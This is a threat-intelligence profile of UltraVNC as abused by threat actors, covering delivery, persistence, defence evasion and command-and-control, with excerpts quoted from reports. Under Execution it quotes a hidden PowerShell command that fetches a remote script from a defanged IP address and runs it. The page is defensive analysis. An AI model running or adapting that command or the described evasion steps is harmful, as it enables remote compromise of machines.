UltraVNC
- Type
- RAT
- Capabilities
- PersistencePost exploitationDefense evasion
- Delivery
- PhishingSpearphishing
- Platforms
- Windows
UltraVNC is a legitimate, open-source remote administration utility for Windows that threat actors abuse for unauthorized remote desktop access and control. It is not inherently malicious, but attacker-controlled deployments serve as remote access tools within criminal and cyberespionage operations. Observed configurations include reverse connections to attacker-controlled infrastructure and connections through VNC repeaters.
UltraVNC has been deployed by UNC2465 following SMOKEDHAM infections, by Gamaredon in espionage operations against Ukrainian entities, by Awaken Likho, also known as Core Werewolf, and by Larva-24009 in phishing campaigns targeting enterprise users in Korea and elsewhere. Delivery chains have included spearphishing with malicious documents, document-disguised shortcuts, multistage scripts, and compromised software installers. In UNC2465 intrusions, PowerShell downloaded the executable and its configuration from Dropbox, and operators renamed the utility to resemble Windows components. Registry autorun entries and modified shortcuts have been used to maintain its execution.
UltraVNC primarily provides post-compromise interactive access in these operations. Attackers have installed it alongside other remote access tools and used it to deploy additional malware, including the TokenBuoySH backdoor. Credential theft, keylogging, and ransomware activity associated with the surrounding campaigns are not intrinsic UltraVNC capabilities.
Associated threat actors
6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
They retrieved the UltraVNC payload and its configuration from the UltraVNC.ini file via Dropbox, subsequently placing them in the C:\Programdata\Winlogon directory.
While the attackers previously relied on the open source virtual network computing (VNC) utility UltraVNC for remote access, MeshAgent replaced UltraVNC in this latest operation.
deep-green.exe – UltraVNC remote administration tool that connects to a repeater.
В ходе исследования было обнаружено, что бэкдор впервые появился в июле 2025 года, но тогда он устанавливался с помощью UltraVNC, а не собственного ПО TokenBuoy.
The threat actor installed Quasar RAT and UltraVNC Server to achieve System Control over the infected system.
“deploying two types of payloads. The first is a manipulated Ultra VNC program…”
Techniques & procedures
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
« T1588.002 — Obtain Capabilities: Tool (Resource Development) »; the source lists UltraVNC under « Malware / Outils ».
Initial Access
2 techniques
Initial Access
“Their documented approaches include phishing, stolen credentials, and the exploitation of exposed systems.” A curriculum paper also “examined a phishing operation built around self-extracting archives and renamed UltraVNC binaries.”
“One paper examined a phishing operation built around self-extracting archives and renamed UltraVNC binaries.”
Execution
3 techniques
Execution
It registers a task named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file... [and] “WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour.
PowerShell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/V/deploy.Ps1 | iex”
The link in either page led to the installer for Tiflux, Network Solutions Agreement.msi
Persistence
4 techniques
Persistence
It registers a task named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file... [and] “WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour.
the .msi installer also contained five Windows Registry ( .reg ) files, which it could use to make modifications to the computer
If the installer fails to install the service, it registers a service named “WpnUserHost” so that the Installer can run as a service.
One of the Registry changes added a Services entry for another VNC clone, named TightVNC, to the Windows Services, and set it to be enabled even if Windows was rebooted into Safe Mode.
Privilege Escalation
3 techniques
Privilege Escalation
It registers a task named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file... [and] “WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour.
If the installer fails to install the service, it registers a service named “WpnUserHost” so that the Installer can run as a service.
One of the Registry changes added a Services entry for another VNC clone, named TightVNC, to the Windows Services, and set it to be enabled even if Windows was rebooted into Safe Mode.
Stealth
1 technique
Stealth
"One paper examined a phishing operation built around self-extracting archives and renamed UltraVNC binaries."
Defense Impairment
3 techniques
Defense Impairment
the .msi installer also contained five Windows Registry ( .reg ) files, which it could use to make modifications to the computer
The installation script creates the installation folder “C:\Windows\Fonts\web” and attempts to add exception paths for antivirus programs.
It proceeds with additional installation... first, it installs the embedded UltraVNC. Next, add firewall rules, randomly generate a temporary VNC port and password.
Credential Access
2 techniques
Credential Access
As can be seen in the first lines of the file itself, we found the encoded password.
The initialization files bundled with the UltraVNC package contained two hardcoded passwords.
Discovery
1 technique
Discovery
The Installer connects to the C&C server to send the hostname and machine_id.
Lateral Movement
2 techniques
Lateral Movement
Anubis also exploited authentic remote access and admin tools such as MeshAgent, Total Software Deployment, ScreenConnect, UltraVNC, and Zoho Assist to merge with usual IT operations while handling control of target systems.
Gamaredon Group has used VNC tools, including UltraVNC, to remotely interact with compromised hosts.
Command and Control
3 techniques
Command and Control
The Installer connects to the C&C server to send the hostname and machine_id, and receives data such as the device_id, token, and VNC password.
A PowerShell process used the curl command to download a compressed file... The installation script... downloads UltraVNC-related files from the download server.
45% of endpoint-related incidents Huntress investigated involved abuse of remote monitoring and management (RMM) tools... a fake service agreement installed Tiflux before quietly stacking UltraVNC, Splashtop and ScreenConnect on the same device.
Observables
26 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
10 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.